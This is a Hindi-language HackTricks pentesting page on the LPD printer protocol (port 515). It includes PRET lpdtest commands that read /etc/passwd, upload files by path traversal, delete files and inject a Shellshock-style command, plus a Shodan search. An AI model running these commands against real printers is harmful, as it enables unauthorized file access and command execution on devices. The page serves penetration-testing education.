hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

5.2 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

LPD Protocol का परिचय

वर्ष 1980 में, लाइन प्रिंटर डेमन (LPD) प्रोटोकॉल को बर्कले यूनिक्स में विकसित किया गया था, जो बाद में RFC1179 के माध्यम से स्थापित हुआ। यह प्रोटोकॉल 515/tcp पोर्ट पर कार्य करता है, lpr कमांड के माध्यम से इंटरैक्शन की अनुमति देता है। LPD के माध्यम से प्रिंट करने की मूल बात एक नियंत्रण फ़ाइल (जॉब विवरण और उपयोगकर्ता को निर्दिष्ट करने के लिए) को भेजना है साथ ही एक डेटा फ़ाइल (जिसमें प्रिंट सूचना होती है)। जबकि नियंत्रण फ़ाइल डेटा फ़ाइल के लिए विभिन्न फ़ाइल प्रारूपों का चयन करने की अनुमति देती है, इन फ़ाइलों का संभालन विशेष LPD कार्यान्वयन द्वारा निर्धारित किया जाता है। Unix जैसे सिस्टमों के लिए एक प्रसिद्ध कार्यान्वयन LPRng है। विशेष रूप से, LPD प्रोटोकॉल का शोध किया जा सकता है ताकि दुरुपयोगी पोस्टस्क्रिप्ट या PJL प्रिंट जॉब्स को क्रियान्वित किया जा सके।

LPD प्रिंटर के साथ इंटरैक्ट करने के लिए उपकरण

PRET दो महत्वपूर्ण उपकरणों, lpdprint और lpdtest, को पेश करता है, जो LPD संगत प्रिंटर के साथ इंटरैक्ट करने का एक सरल तरीका प्रदान करता है। ये उपकरण डेटा प्रिंट करने से लेकर प्रिंटर पर फ़ाइलों को संशोधित करने जैसे कार्यों को करने की अनुमति देते हैं, जैसे कि डाउनलोड, अपलोड, या हटाना:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

व्यक्तियों के लिए जो प्रिंटर हैकिंग के क्षेत्र को और अधिक अन्वेषित करने में रुचि रखते हैं, एक व्यापक स्रोत यहाँ पाया जा सकता है: Hacking Printers.

Shodan

  • port 515